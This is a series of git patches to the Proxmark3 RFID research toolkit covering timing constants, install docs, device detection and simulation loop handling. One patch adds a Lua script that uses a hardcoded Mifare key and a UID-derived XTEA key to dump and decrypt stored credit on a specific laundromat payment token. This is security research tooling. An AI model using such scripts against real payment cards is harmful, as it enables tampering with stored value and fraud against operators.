From 93c9dc571ff30c45f7b6f9ab008fb80ae082e7f6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 12 Nov 2019 19:27:34 +0100 Subject: [PATCH 001/418] chg t55 timings to match offical repo when compiling for PM3OTHER --- armsrc/lfops.c | 25 ++++++++++++++++++------- client/cmdlft55xx.c | 14 +++++++------- 2 files changed, 25 insertions(+), 14 deletions(-) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 8aa86a43b..4c869d9d6 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -52,11 +52,11 @@ SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz New timer implemenation in ticks.c, which is used in LFOPS.c - 1us = 1.5ticks - 1fc = 8us = 12ticks + 1 μs = 1.5 ticks + 1 fc = 8 μs = 12 ticks Terms you find in different datasheets and how they match. -1 Cycle = 8 microseconds(us) == 1 field clock (fc) +1 Cycle = 8 microseconds (μs) == 1 field clock (fc) Note about HITAG timing Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) @@ -135,19 +135,30 @@ Initial values if not in flash RG = Read gap Explainations for array T55xx_Timing below - SG WG Bit 0/00 Bit 1/01 Bit 10 Bit 11 RG + + 0 1 2 3 + SG WG Bit 00 Bit 01 Bit 10 Bit 11 RG -------------------------------------------------------------------- { 29 , 17 , 15 , 47 , 0 , 0 , 15 }, // Default Fixed - { 31 , 20 , 18 , 50 , 0 , 0 , 15 }, // Long Leading Ref. - { 31 , 20 , 18 , 40 , 0 , 0 , 15 }, // Leading 0 + { 29 , 17 , 15 , 50 , 0 , 0 , 15 }, // Long Leading Ref. + { 29 , 17 , 15 , 40 , 0 , 0 , 15 }, // Leading 0 { 29 , 17 , 15 , 31 , 47 , 63 , 15 } // 1 of 4 */ t55xx_configurations_t T55xx_Timing = { { +#ifdef WITH_FLASH +// PM3RDV4 { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Default Fixed + { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. + { 29 * 8, 17 * 8, 15 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 + { 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 +#else +// PM3OTHER or like offical repo + { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Default Fixed { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. { 31 * 8, 20 * 8, 18 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 - { 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 + { 31 * 8, 20 * 8, 18 * 8, 34 * 8, 15 * 8, 50 * 8, 66 * 8 } // 1 of 4 +#endif } }; diff --git a/client/cmdlft55xx.c b/client/cmdlft55xx.c index 9175bdaf5..9135ab957 100644 --- a/client/cmdlft55xx.c +++ b/client/cmdlft55xx.c @@ -3582,18 +3582,18 @@ static int CmdT55xxSetDeviceConfig(const char *Cmd) { configurations.m[T55XX_DLMODE_FIXED].write_3 = 0; // long leading reference - configurations.m[T55XX_DLMODE_LLR].start_gap = 31 * 8; - configurations.m[T55XX_DLMODE_LLR].write_gap = 20 * 8; - configurations.m[T55XX_DLMODE_LLR].write_0 = 18 * 8; - configurations.m[T55XX_DLMODE_LLR].write_1 = 50 * 8; + configurations.m[T55XX_DLMODE_LLR].start_gap = 29 * 8; + configurations.m[T55XX_DLMODE_LLR].write_gap = 17 * 8; + configurations.m[T55XX_DLMODE_LLR].write_0 = 15 * 8; + configurations.m[T55XX_DLMODE_LLR].write_1 = 47 * 8; configurations.m[T55XX_DLMODE_LLR].read_gap = 15 * 8; configurations.m[T55XX_DLMODE_LLR].write_2 = 0; configurations.m[T55XX_DLMODE_LLR].write_3 = 0; // leading zero - configurations.m[T55XX_DLMODE_LEADING_ZERO].start_gap = 31 * 8; - configurations.m[T55XX_DLMODE_LEADING_ZERO].write_gap = 20 * 8; - configurations.m[T55XX_DLMODE_LEADING_ZERO].write_0 = 18 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].start_gap = 29 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].write_gap = 17 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].write_0 = 15 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].write_1 = 40 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].read_gap = 15 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].write_2 = 0; From e0d4e69cb9c263c6728ee7fb49ff1a5eeb113f5f Mon Sep 17 00:00:00 2001 From: Iceman Date: Wed, 13 Nov 2019 16:21:28 +0100 Subject: [PATCH 002/418] Update Mac-OS-X-Homebrew-Installation-Instructions.md textual --- .../Mac-OS-X-Homebrew-Installation-Instructions.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md index f78016df9..76f5ee6f3 100644 --- a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md @@ -9,7 +9,11 @@ For further questions about Mac & Homebrew, contact @Chrisfu (https://github.c 2. Tap this repo: `brew tap RfidResearchGroup/proxmark3` -3. Install Proxmark3: `brew install proxmark3` for stable release or `brew install --HEAD proxmark3` for latest non-stable from GitHub. +3. Install Proxmark3: + - (Optional) `export HOMEBREW_PROXMARK3_PLATFORM=xxxxxx` to specify [platform](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md#platform), default value is `PM3RDV4` if none + - `brew install proxmark3` for stable release + - `brew install --HEAD proxmark3` for latest non-stable from GitHub (use this if previous command fails) + - `brew install --with-blueshark proxmark3` for blueshark support For more info, go to https://github.com/RfidResearchGroup/homebrew-proxmark3 From ead825720d9d3928ad4183a8be9a47078794f48c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 17 Nov 2019 11:45:20 +0100 Subject: [PATCH 003/418] covsubmit: avoid aborting when previous data are not present --- covsubmit.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/covsubmit.sh b/covsubmit.sh index dcfda0999..e39240954 100755 --- a/covsubmit.sh +++ b/covsubmit.sh @@ -6,7 +6,7 @@ set -e pre_submit_hook ## delete all previous tarballs -rm proxmark3.all.*.tgz proxmark3.all.*.log +rm -f proxmark3.all.*.tgz proxmark3.all.*.log TODAY="$(date --date now +%Y%m%d.%H%M)" VERSION="0.1.$TODAY" From 5dc2c7c3929c42ae0749c85e8d806938a6ac8c9b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 17 Nov 2019 11:47:08 +0100 Subject: [PATCH 004/418] pm3 serial detection on Linux more robust. Fixes #475 Official firmwares < 2018.02 had a different USB Model string (PM3<>proxmark3). Better to detect based on the vendor string (proxmark.org) which is more stable, to ease reflashing devices with old firmwares to the RDV4 firmware. Thanks @fishilico for having pointed it out. --- pm3 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pm3 b/pm3 index c3bed278e..a03b3351e 100755 --- a/pm3 +++ b/pm3 @@ -21,7 +21,7 @@ PM3LIST=() function get_pm3_list_Linux { PM3LIST=() for DEV in $(find /dev/ttyACM* 2>/dev/null); do - if udevadm info -q property -n "$DEV" |grep -q "ID_MODEL=proxmark3"; then + if udevadm info -q property -n "$DEV" |grep -q "ID_VENDOR=proxmark.org"; then PM3LIST+=("$DEV") fi done From dec0b0202a5cd0fa3aaba53e34f4dacf8f5fb5ab Mon Sep 17 00:00:00 2001 From: Denis Bodor Date: Sun, 17 Nov 2019 12:58:30 +0100 Subject: [PATCH 005/418] Add Luxeo dump script --- client/luascripts/luxeodump.lua | 309 ++++++++++++++++++++++++++++++++ 1 file changed, 309 insertions(+) create mode 100644 client/luascripts/luxeodump.lua diff --git a/client/luascripts/luxeodump.lua b/client/luascripts/luxeodump.lua new file mode 100644 index 000000000..182af67d4 --- /dev/null +++ b/client/luascripts/luxeodump.lua @@ -0,0 +1,309 @@ +--- +-- This Lua script is designed to run with Iceman/RRG Proxmark3 fork +-- Just copy luxeodump.lua to client/luascripts/ +-- and run "script run luxeodump" + +-- requirements +local cmds = require('commands') +local getopt = require('getopt') +local utils = require('utils') +local lib14a = require('read14a') +local ansicolors = require('ansicolors') + +copyright = '' +author = '0xdrrb' +version = 'v0.1.0' +desc = [[ +This is a script to dump and decrypt the data of a specific type of Mifare laundromat token. +]] +example = [[ + script run luxeodump +]] +usage = [[ +script run luxeodump +]] + +local PM3_SUCCESS = 0 + +-- Some shortcuts +local band = bit32.band +local bor = bit32.bor +local bnot = bit32.bnot +local bxor = bit32.bxor +local lsh = bit32.lshift +local rsh = bit32.rshift + +local acgreen = ansicolors.bright..ansicolors.green +local accyan = ansicolors.bright..ansicolors.cyan +local acred = ansicolors.red +local acyellow = ansicolors.bright..ansicolors.yellow +local acblue = ansicolors.bright..ansicolors.blue +local acmagenta = ansicolors.bright..ansicolors.magenta +local acoff = ansicolors.reset + + +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR: ', err) + core.clearCommandBuffer() + return nil, err +end + +local function setdevicedebug( status ) + local c = 'hw dbg ' + if status then + c = c..'1' + else + c = c..'0' + end + core.console(c) +end + +local function xteaCrypt(num_rounds, v, key) + local v0 = v[0] + local v1 = v[1] + local delta = 0x9E3779B9 + local sum = 0 + + for i = 0, num_rounds-1 do + -- v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); + v0 = band(bxor(bxor(lsh(v1,4), rsh(v1,5)) + v1, sum + key[band(sum,3)]) + v0, 0xFFFFFFFF) + sum = band(sum + delta, 0xFFFFFFFF) + -- v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); + v1 = band(bxor(bxor(lsh(v0,4), rsh(v0,5)) + v0, sum + key[band(rsh(sum,11),3)]) + v1, 0xFFFFFFFF) + end + v[0]=v0 + v[1]=v1 +end + +local function xteaDecrypt(num_rounds, v, key) + local v0 = v[0] + local v1 = v[1] + local delta = 0x9E3779B9 + local sum = band(delta * num_rounds, 0xFFFFFFFF) + + for i = 0, num_rounds-1 do + -- v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); + v1 = band(v1 - bxor(bxor(lsh(v0,4), rsh(v0,5)) + v0, sum + key[band(rsh(sum,11),3)]), 0xFFFFFFFF) + sum = band(sum - delta, 0xFFFFFFFF) + -- v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); + v0 = band(v0 - bxor(bxor(lsh(v1,4), rsh(v1,5)) + v1, sum + key[band(sum,3)]), 0xFFFFFFFF) + end + v[0]=v0 + v[1]=v1 +end + +local function createxteakey(mfuid) + local xteakey = {} + local buid = {} + local tmpkey = {} + local uid = {} + + -- Warning ! "it is customary in Lua to START ARRAYS WITH ONE" + buid = utils.ConvertHexToBytes(mfuid) + uid[0] = bor(buid[1], lsh(buid[2], 8)) + uid[1] = bor(buid[3], lsh(buid[4], 8)) + + tmpkey[0] = 0x198B + tmpkey[1] = uid[0] + tmpkey[2] = 0x46D8 + tmpkey[3] = uid[1] + tmpkey[4] = 0x5310 + tmpkey[5] = bxor(uid[0], 0xA312) + tmpkey[6] = 0xFFCB + tmpkey[7] = bxor(uid[1], 0x55AA) + + xteakey[0] = bor(lsh(tmpkey[1], 16), tmpkey[0]) + xteakey[1] = bor(lsh(tmpkey[3], 16), tmpkey[2]) + xteakey[2] = bor(lsh(tmpkey[5], 16), tmpkey[4]) + xteakey[3] = bor(lsh(tmpkey[7], 16), tmpkey[6]) + + return xteakey +end + +-- CRC16/ARC from core.reveng_runmodel() does not seem to return the right values. +-- So here is an implementation in Lua. +local function bitreflect(data, nbits) + local output = 0 + for i = 0, nbits-1 do + if bit.band(data,1) ~= 0 then + output = bit32.bor(output, bit32.lshift(1,((nbits - 1) - i))) + else + end + data = bit32.rshift(data,1) + end + return output +end + +local function crc16arc(s) + assert(type(s) == 'string') + local crc = 0x0000 + for i = 1, #s do + local c = s:byte(i) + dbyte = bitreflect(c, 8) + crc = bit32.bxor(crc, bit32.lshift(dbyte,8)) + for j = 0, 7 do + local mix = bit32.band(crc, 0x8000) + crc = bit32.lshift(crc,1) + if mix ~= 0 then + crc = bit32.bxor(crc, 0x8005) + end + end + end + return bitreflect(crc, 16) +end + +local function getblockdata(response) + if not response then + return nil, 'No response from device' + end + if response.Status == PM3_SUCCESS then + return response.Data + else + return nil, "Couldn't read block.. ["..response.Status.."]" + end +end + +local function readblock(blockno, key) + -- Read block N + local keytype = '01' -- key B + local data = ('%02x%s%s'):format(blockno, keytype, key) + local c = Command:newNG{cmd = cmds.CMD_HF_MIFARE_READBL, data = data} + local b, err = getblockdata(c:sendNG(false)) + if not b then return oops(err) end + return b +end + +local function readtag(mfkey,xteakey) + local tagdata = {} + local cleardata = {} + local v = {} + local vv = {} + + -- Read 4 sectors and build table + for sect = 8, 11 do + for blockn = sect*4, (sect*4)+2 do + local blockdata = readblock(blockn, mfkey) + if not blockdata then return oops('[!] failed reading block') end + table.insert(tagdata, blockdata) + end + end + + -- Decrypt data and build clear table + for key,value in ipairs(tagdata) do + local clearblockdata + v[0]=utils.SwapEndianness(value:sub(1,8),32) + v[1]=utils.SwapEndianness(value:sub(9,16),32) + xteaDecrypt(16, v, xteakey) + vv[0]=utils.SwapEndianness(value:sub(17,24),32) + vv[1]=utils.SwapEndianness(value:sub(25,32),32) + xteaDecrypt(16, vv, xteakey) + clearblockdata=string.format("%08X%08X%08X%08X", + utils.SwapEndianness(string.format("%08X", v[0]),32), + utils.SwapEndianness(string.format("%08X", v[1]),32), + utils.SwapEndianness(string.format("%08X", vv[0]),32), + utils.SwapEndianness(string.format("%08X", vv[1]),32)) + table.insert(cleardata, clearblockdata) + end + + return tagdata,cleardata + +end + + +local function main(args) + local xteakey = {} + -- local v = {} + local edata = {} + local cdata = {} + + -- Turn off Debug + setdevicedebug(false) + + -- GET TAG UID + tag, err = lib14a.read(false, true) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + + -- simple tag check + if 0x08 ~= tag.sak then + if 0x0400 ~= tag.atqa then + return oops(('[fail] found tag %s :: looking for Mifare S50 1k'):format(tag.name)) + end + end + + xteakey = createxteakey(tag.uid) + print(acblue.."UID: "..tag.uid..acoff) + print(acblue..string.format("XTEA key: %08X %08X %08X %08X", xteakey[0], xteakey[1], xteakey[2], xteakey[3])..acoff) + + edata, cdata = readtag("415A54454B4D",xteakey) + + if edata == nil or cdata == nil then + print("ERROR Reading tag!") + return nil + end + + print("Ciphered data:") + for key,value in ipairs(edata) do + print(value) + if key % 3 == 0 then print("") end + end + + -- compute CRC for each segment + crcH = crc16arc(utils.ConvertHexToAscii(cdata[1]..cdata[2]..cdata[3]:sub(1,28))) + crcA = crc16arc(utils.ConvertHexToAscii(cdata[4]..cdata[5]..cdata[6]..cdata[7]:sub(1,28))) + crcB = crc16arc(utils.ConvertHexToAscii(cdata[8]..cdata[9]..cdata[10]..cdata[11]:sub(1,28))) + + print("\nHeader:") + for key,value in ipairs(cdata) do + if key == 3 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcH then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcH)..strcrc..acoff) + print("\nDataA:") + elseif key == 4 then + print(acgreen..value:sub(1,4)..acoff..value:sub(5,16)..accyan..value:sub(17,24)..acoff..value:sub(25,26)..accyan..value:sub(27,28)..acoff..value:sub(29,32)) + versionA = utils.SwapEndianness(value:sub(1,4),16) + dateA = string.format("%d/%02d/%02d %02d:%02d", tonumber(value:sub(17,18),10)+2000, tonumber(value:sub(19,20),10), + tonumber(string.format("%02X", band(tonumber(value:sub(21,22),16),0x3f)),10), + tonumber(value:sub(23,24),10), tonumber(value:sub(27,28),10)) + elseif key == 8 then + print(acgreen..value:sub(1,4)..acoff..value:sub(5,16)..accyan..value:sub(17,24)..acoff..value:sub(25,26)..accyan..value:sub(27,28)..acoff..value:sub(29,32)) + versionB = utils.SwapEndianness(value:sub(1,4),16) + dateB = string.format("%d/%02d/%02d %02d:%02d", tonumber(value:sub(17,18),10)+2000, tonumber(value:sub(19,20),10), + tonumber(string.format("%02X", band(tonumber(value:sub(21,22),16),0x3f)),10), + tonumber(value:sub(23,24),10), tonumber(value:sub(27,28),10)) + elseif key == 5 then + print(acyellow..value:sub(1,4)..acoff..value:sub(5,32)) + creditA = utils.SwapEndianness(value:sub(1,4),16)/100 + elseif key == 9 then + print(acyellow..value:sub(1,4)..acoff..value:sub(5,32)) + creditB = utils.SwapEndianness(value:sub(1,4),16)/100 + elseif key == 7 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + print(acgreen.."Version "..string.format("0x%04X", versionA)..acoff) + print(acyellow.."Credit : "..creditA..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcA then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcA)..strcrc..acoff) + print(accyan.."Date: "..dateA..acoff) + print("\nDataB:") + elseif key == 11 then + print(value:sub(1,28)..acmagenta..value:sub(29,32)..acoff) + print(acgreen.."Version "..string.format("0x%04X", versionB)..acoff) + print(acyellow.."Credit : "..creditB..acoff) + if utils.SwapEndianness(value:sub(29,32),16) == crcB then strcrc = " OK" else strcrc = acred.." CRCERROR !!" end + print(acmagenta.."CRC16/ARC = "..string.format("0x%04X", crcB)..strcrc..acoff) + print(accyan.."Date: "..dateB..acoff) + print("\nFooter:") + else + print(value) + end + end + + return +end + +main(args) From 5e85d53c3e272f280f689d7f38dc2ce48e9aecbb Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 18 Nov 2019 13:11:28 +0100 Subject: [PATCH 006/418] pm3 serial detection on OS X more robust Official firmwares < 2018.02 had a different USB Model string (PM3<>proxmark3). Better to detect based on the vendor string (proxmark.org) which is more stable, to ease reflashing devices with old firmwares to the RDV4 firmware. --- pm3 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pm3 b/pm3 index a03b3351e..d40fb0a91 100755 --- a/pm3 +++ b/pm3 @@ -29,7 +29,9 @@ function get_pm3_list_Linux { function get_pm3_list_macOS { PM3LIST=() - for DEV in $(ioreg -r -n proxmark3 -l|awk -F '"' '/IODialinDevice/{print $4}'); do + for DEV in $(ioreg -r -c "IOUSBHostDevice" -l|awk -F '"' ' + $2=="USB Vendor Name"{b=($4=="proxmark.org")} + b==1 && $2=="IODialinDevice"{print $4}'); do PM3LIST+=("$DEV") done } From 585ce7556c8aeb8d592085633d51fed70fb233df Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 18 Nov 2019 18:48:21 +0100 Subject: [PATCH 007/418] add empty command to enable client side to break loops on device side, like sim --- armsrc/appmain.c | 2 ++ include/pm3_cmd.h | 3 +++ 2 files changed, 5 insertions(+) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index ef96d9fef..ef4dc6a6c 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -696,6 +696,8 @@ static void PacketReceived(PacketCommandNG *packet) { */ switch (packet->cmd) { + case CMD_BREAK_LOOP: + break; case CMD_QUIT_SESSION: { reply_via_fpc = false; reply_via_usb = false; diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 0f7212600..892ec533f 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -288,6 +288,7 @@ typedef struct { #define CMD_STANDALONE 0x0115 #define CMD_WTX 0x0116 #define CMD_TIA 0x0117 +#define CMD_BREAK_LOOP 0x0118 // RDV40, Flash memory operations #define CMD_FLASHMEM_WRITE 0x0121 @@ -550,6 +551,8 @@ typedef struct { // Error codes Usages: +// Success, transfer nonces pm3: Sending nonces back to client +#define PM3_SNONCES 1 // Success (no error) #define PM3_SUCCESS 0 From c36b414f0f3674a0ecc18fae3b40be58743285ef Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 19 Nov 2019 08:32:30 +0100 Subject: [PATCH 008/418] ignore old/swp files --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 348195eba..092ad9619 100644 --- a/.gitignore +++ b/.gitignore @@ -26,6 +26,8 @@ *.dsym version.c *.json +*.old +*.swp # new build file for add-ons. Makefile.platform From d8a26e2b8b7ef7dfe4411cb5e069c2730d177941 Mon Sep 17 00:00:00 2001 From: Denis Bodor Date: Tue, 19 Nov 2019 10:55:17 +0100 Subject: [PATCH 009/418] switch from lua CRC16/ARC to CRC RevEng --- CHANGELOG.md | 1 + client/luascripts/luxeodump.lua | 38 +++------------------------------ 2 files changed, 4 insertions(+), 35 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 89a04d651..16354bcac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -372,6 +372,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk) - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) + - Add `script run luxeodump` (@0xdrrb) ### Fixed diff --git a/client/luascripts/luxeodump.lua b/client/luascripts/luxeodump.lua index 182af67d4..6b7254801 100644 --- a/client/luascripts/luxeodump.lua +++ b/client/luascripts/luxeodump.lua @@ -121,38 +121,6 @@ local function createxteakey(mfuid) return xteakey end --- CRC16/ARC from core.reveng_runmodel() does not seem to return the right values. --- So here is an implementation in Lua. -local function bitreflect(data, nbits) - local output = 0 - for i = 0, nbits-1 do - if bit.band(data,1) ~= 0 then - output = bit32.bor(output, bit32.lshift(1,((nbits - 1) - i))) - else - end - data = bit32.rshift(data,1) - end - return output -end - -local function crc16arc(s) - assert(type(s) == 'string') - local crc = 0x0000 - for i = 1, #s do - local c = s:byte(i) - dbyte = bitreflect(c, 8) - crc = bit32.bxor(crc, bit32.lshift(dbyte,8)) - for j = 0, 7 do - local mix = bit32.band(crc, 0x8000) - crc = bit32.lshift(crc,1) - if mix ~= 0 then - crc = bit32.bxor(crc, 0x8005) - end - end - end - return bitreflect(crc, 16) -end - local function getblockdata(response) if not response then return nil, 'No response from device' @@ -253,9 +221,9 @@ local function main(args) end -- compute CRC for each segment - crcH = crc16arc(utils.ConvertHexToAscii(cdata[1]..cdata[2]..cdata[3]:sub(1,28))) - crcA = crc16arc(utils.ConvertHexToAscii(cdata[4]..cdata[5]..cdata[6]..cdata[7]:sub(1,28))) - crcB = crc16arc(utils.ConvertHexToAscii(cdata[8]..cdata[9]..cdata[10]..cdata[11]:sub(1,28))) + crcH = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[1]..cdata[2]..cdata[3]:sub(1,28), false, '0'),16) + crcA = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[4]..cdata[5]..cdata[6]..cdata[7]:sub(1,28), false, '0'),16) + crcB = utils.SwapEndianness(core.reveng_runmodel("CRC-16/ARC", cdata[8]..cdata[9]..cdata[10]..cdata[11]:sub(1,28), false, '0'),16) print("\nHeader:") for key,value in ipairs(cdata) do From 290c6f6c3126efe50dc04cbf236a76a24e5afdf6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 19 Nov 2019 12:01:04 +0100 Subject: [PATCH 010/418] chg: hf 14a sim x - device simulation loop exited when client exits --- client/cmdhf14a.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 2f8473d1c..777b7d25c 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -512,8 +512,9 @@ int CmdHF14ASim(const char *Cmd) { PacketResponseNG resp; PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation"); + bool keypress = kbd_enter_pressed(); + while (!keypress) { - while (!kbd_enter_pressed()) { if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) continue; if (resp.status != PM3_SUCCESS) break; @@ -521,7 +522,15 @@ int CmdHF14ASim(const char *Cmd) { nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(data[0], setEmulatorMem, verbose); + + keypress = kbd_enter_pressed(); } + + if (keypress && (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } + if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) showSectorTable(); From 3a7a6cce38331e06de0673fd51285d1ce05a1ce8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 19 Nov 2019 12:14:58 +0100 Subject: [PATCH 011/418] chg: hf thin info - honor verbose --- client/cmdhfthinfilm.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/client/cmdhfthinfilm.c b/client/cmdhfthinfilm.c index 6f36a0a9b..dad67509b 100644 --- a/client/cmdhfthinfilm.c +++ b/client/cmdhfthinfilm.c @@ -155,10 +155,12 @@ int infoThinFilm(bool verbose) { } if (resp.status == PM3_SUCCESS) { - if (resp.length == 16 || resp.length == 32 || verbose) { + if (resp.length == 16 || resp.length == 32) { print_barcode(resp.data.asBytes, resp.length, verbose); } else { - PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + if (verbose) + PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + return PM3_ESOFT; } } From 41e0bf9a5056333fb9838b04dbb9288bc6105f77 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 19 Nov 2019 12:17:08 +0100 Subject: [PATCH 012/418] chg: odl flexpass code removed --- client/cmdlf.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/client/cmdlf.c b/client/cmdlf.c index e0238b0d6..236bfc526 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -1054,10 +1054,9 @@ int CmdLFSimBidir(const char *Cmd) { return PM3_SUCCESS; } -// ICEMAN, todo, swap from Graphbuffer. -// according to Westhus this demod uses decimated samples / 2. -// need to do complete rewrite. Need access to reader / chip -// should be extracted to seperate files aswell +// ICEMAN, Verichip is Animal tag. Tested against correct reader +/* + int CmdVchDemod(const char *Cmd) { if (GraphTraceLen < 4096) { @@ -1081,6 +1080,8 @@ int CmdVchDemod(const char *Cmd) { 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, }; + // iceman, using correlate as preamble detect seems way better than our current memcompare + // So first, we correlate for the sync pattern, and mark that. int bestCorrel = 0, bestPos = 0; int i, j, sum = 0; @@ -1135,6 +1136,7 @@ int CmdVchDemod(const char *Cmd) { } return PM3_SUCCESS; } +*/ static bool CheckChipType(bool getDeviceData) { @@ -1168,6 +1170,7 @@ out: } int CmdLFfind(const char *Cmd) { + int retval = PM3_SUCCESS; int ans = 0; size_t minLength = 2000; char cmdp = tolower(param_getchar(Cmd, 0)); @@ -1208,7 +1211,7 @@ int CmdLFfind(const char *Cmd) { } if (readMotorolaUid()) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola ID") "found!"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); return PM3_SUCCESS; } @@ -1250,7 +1253,6 @@ int CmdLFfind(const char *Cmd) { if (demodGallagher() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("GALLAGHER ID") "found!"); goto out;} // if (demodTI() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Texas Instrument ID") "found!"); goto out;} //if (demodFermax() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Fermax ID") "found!"); goto out;} - //if (demodFlex() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); goto out;} PrintAndLogEx(FAILED, _RED_("No known 125/134 kHz tags found!")); @@ -1291,12 +1293,15 @@ int CmdLFfind(const char *Cmd) { PrintAndLogEx(FAILED, _RED_("\nNo data found!")); } + + retval = PM3_ESOFT; + out: // identify chipset if (CheckChipType(isOnline) == false) { PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed")); } - return PM3_SUCCESS; + return retval; } static command_t CommandTable[] = { @@ -1340,7 +1345,7 @@ static command_t CommandTable[] = { {"sniff", CmdLFSniff, IfPm3Lf, "Sniff LF traffic between reader and tag"}, {"tune", CmdLFTune, IfPm3Lf, "Continuously measure LF antenna tuning"}, // {"vchdemod", CmdVchDemod, AlwaysAvailable, "['clone'] -- Demodulate samples for VeriChip"}, - {"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"}, +// {"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"}, {NULL, 